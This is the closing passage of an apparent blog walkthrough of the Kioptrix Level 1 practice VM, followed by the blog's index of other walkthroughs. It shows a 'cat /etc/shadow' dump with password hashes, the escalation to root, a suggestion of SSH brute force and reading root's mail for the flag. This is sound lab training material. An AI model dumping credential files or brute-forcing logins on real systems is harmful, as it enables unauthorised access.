harold:x:501:501::/home/harold:/bin/bash

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
</code></pre>
<p>And... Winner, winner, rootshellz for dinner!  By chaining a remote code execution (RCE) exploit with a local privilege escalation exploit we have achieved our goal.</p>
<h1 id="exploitation3ssh">Exploitation #3 - SSH</h1>
<p>I couldn't seem to identify any exact matches of RCE exploits for OpenSSH 2.9p2.  However, every version of SSH is always vulnerable to at least one exploit: brute force!  I didn't spend the time trying to brute force my way in, but it is definitely possible this is a possible solution.</p>
<h1 id="pillaging">Pillaging</h1>
<p>Looking through the output of my enumeration script, I noticed something of note:</p>
<pre><code class="language-shell-output">ls -l /var/mail/
total 1
-rw-rw----    1 harold   harold          0 Sep 26  2009 harold
-rw-rw----    1 john     john            0 Sep 26  2009 john
-rw-rw----    1 nfsnobod nfsnobod        0 Sep 26  2009 nfsnobody
-rw-------    1 root     root         1005 Aug 16 00:06 root
</code></pre>
<p>Mr. root had some mail.</p>
<pre><code class="language-shell-output">file /var/mail/root
/var/mail/root: ASCII mail text

cat /var/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.level1>
Received: (from root@localhost)
  by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
  for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

From root  Wed Aug 16 00:06:45 2017
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
  by kioptrix.level1 (8.11.6/8.11.6) id v7G46js01139
  for root; Wed, 16 Aug 2017 00:06:45 -0400
Date: Wed, 16 Aug 2017 00:06:45 -0400
From: root <root@kioptrix.level1>
Message-Id: <201708160406.v7G46js01139@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1



 ################## LogWatch 2.1.1 Begin ##################### 


 ###################### LogWatch End ######################### 
</code></pre>
<p>Looks like this was a flag:</p>
<p>"If you are reading this, you got root. Congratulations.<br>
Level 2 won't be as easy..."</p>
<h1 id="conclusion">Conclusion</h1>
<p>This VM was simple and fun, a nice warm up for the Kioptrix series.  I was able to find two different RCE vulnerabilities, one in SMB and the other in mod_ssl / Apache.  I think the moral here, from a security standpoint, is patch all the things!  Stay tuned as I will continue to post about the Kioptrix series as I complete them.</p>
<p>Also, in a future posts, I plan to dig deeper in to the exploits used in this and other challenges to really understand the vulnerabilities and how the exploits actually work.</p>
<!--kg-card-end: markdown-->
</article>
</main></body></html>

rootshellz

Welcome Back & How to Run a Ghost Blog for Free

Welcome Back to the rootshellz blog

The Problem

The Solution

Motivation

Pros

Cons

How to Ghost Tutorial

Components

Process

Comments

Conclusion

Kioptrix: Level 1.2 (#3) Walkthrough

Intro

Setup

Initial Scanning and Enumeration

Web App Fingerprinting

RCE

Exploiting the RCE

Local Privilege Escalation

Local Enumeration

Local Enumeration Pt. 2

Password Hash Cracking

Becoming loneferret

Getting root

Enumerating Goodies

Conclusion

Kioptrix: Level 1.1 (#2) Walkthrough

Intro

Pre-Hack

Where you at?

Whatcha got?

Digging Deeper

Apache HTTP/S Enumeration

RPC Enumeration

MySQL Enumeration

Game Time

Apache

Password Guessing

SQL Injection

Command Injection

Shelling Out

Privilege Escalation

Privilege Escalation - Take 2

Privilege Escalation - Take 3

Conclusion

Kioptrix: Level 1 (#1) Walkthrough

Intro

Scanning and Enumeration

Identifying Target Address (DHCP)

Enumerate All the things

nmap

An\x20E SF:rror\x20Occurred

An\x2 SF:0Error\x20Occurred

An\x20Error\x20Occurred